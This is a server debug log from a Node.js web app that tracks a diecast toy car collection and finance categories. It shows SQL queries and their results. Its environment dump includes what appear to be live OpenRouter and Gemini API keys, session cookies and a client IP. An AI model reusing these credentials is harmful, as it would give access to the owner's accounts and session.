  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 }
]
2026-02-04T11:25:38.255Z server-connect:output restrict: undefined
2026-02-04T11:25:38.255Z server-connect:app Executing action step select
2026-02-04T11:25:38.255Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T11:25:38.256Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T11:25:38.256Z server-connect:app Executing action step select
2026-02-04T11:25:38.256Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T11:25:38.257Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 40,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T11:25:38.257Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T11:25:38.257Z server-connect:app Executing action step select
2026-02-04T11:25:38.257Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T11:25:38.258Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T11:25:40.137Z server-connect:router Serving templateView /collections
2026-02-04T11:25:40.137Z server-connect:app Executing action step identify
2026-02-04T11:25:40.137Z server-connect:app options: { provider: 'security' }
2026-02-04T11:25:40.137Z server-connect:output identity: 1
2026-02-04T11:25:40.138Z server-connect:app Executing action step restrict
2026-02-04T11:25:40.138Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T11:25:40.138Z server-connect:output restrict: undefined
2026-02-04T11:25:40.138Z server-connect:router Render template masters/collections
2026-02-04T11:25:40.138Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/collections',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"2850-vYhtWmaLPPra5IeVa3++XLjoeng"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/collections',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/collections',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/collections',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"2850-vYhtWmaLPPra5IeVa3++XLjoeng"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-04T11:25:40.473Z server-connect:router Serving serverConnect /api/masters/collections/collection-category
2026-02-04T11:25:40.474Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-04T11:25:40.474Z server-connect:app Executing action step identify
2026-02-04T11:25:40.474Z server-connect:app options: { provider: 'security' }
2026-02-04T11:25:40.474Z server-connect:output identity: 1
2026-02-04T11:25:40.474Z server-connect:app Executing action step restrict
2026-02-04T11:25:40.474Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:25:40.474Z server-connect:app Executing action step identify
2026-02-04T11:25:40.474Z server-connect:app options: { provider: 'security' }
2026-02-04T11:25:40.474Z server-connect:output identity: 1
2026-02-04T11:25:40.474Z server-connect:app Executing action step restrict
2026-02-04T11:25:40.474Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:25:40.474Z server-connect:output restrict: undefined
2026-02-04T11:25:40.474Z server-connect:app Executing action step select
2026-02-04T11:25:40.474Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'collection_type' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `name` from `collection_type` where `collection_type`.`deleted` = ?'
  }
}
2026-02-04T11:25:40.475Z server-connect:output restrict: undefined
2026-02-04T11:25:40.475Z server-connect:app Executing action step paged
2026-02-04T11:25:40.475Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-04T11:25:40.476Z server-connect:output list: [
  { id: 1, name: 'Unit' },
  { id: 2, name: 'Transaction Type' },
  { id: 3, name: 'Account Type' },
  { id: 4, name: 'Loan Mode' },
  { id: 5, name: 'Account Transactions' },
  { id: 6, name: 'Trading Platform' },
  { id: 7, name: 'Loan Type' },
  { id: 8, name: 'Supplement Brand' },
  { id: 9, name: 'Diecast Brand' },
  { id: 10, name: 'Diecast Series' },
  { id: 11, name: 'Vehicle Brand' }
]
2026-02-04T11:25:40.477Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 189,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 175 },
    current: 1,
    total: 8
  },
  data: [
    {
      name: 'Account Deposit',
      id: 19,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Salary Credit',
      id: 20,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'ATM Withdrawal',
      id: 21,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Account Transfer',
      id: 22,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Credit Card Payment',
      id: 25,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Card Swipe',
      id: 26,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Direct Payment',
      id: 38,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Auto Debit',
      id: 39,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Savings',
      id: 14,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Current',
      id: 15,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Petty Cash',
      id: 18,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Credit Card',
      id: 24,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Demat',
      id: 43,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Hotwheels',
      id: 71,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Majorette',
      id: 72,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Matchbox',
      id: 73,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Bburago',
      id: 74,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Maisto',
      id: 143,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'CCA',
      id: 158,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Jams Toys',
      id: 191,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-04T11:25:46.870Z server-connect:router Serving serverConnect /api/masters/collections/manage
2026-02-04T11:25:46.870Z server-connect:app Executing action step identify
2026-02-04T11:25:46.870Z server-connect:app options: { provider: 'security' }
2026-02-04T11:25:46.870Z server-connect:output identity: 1
2026-02-04T11:25:46.871Z server-connect:app Executing action step restrict
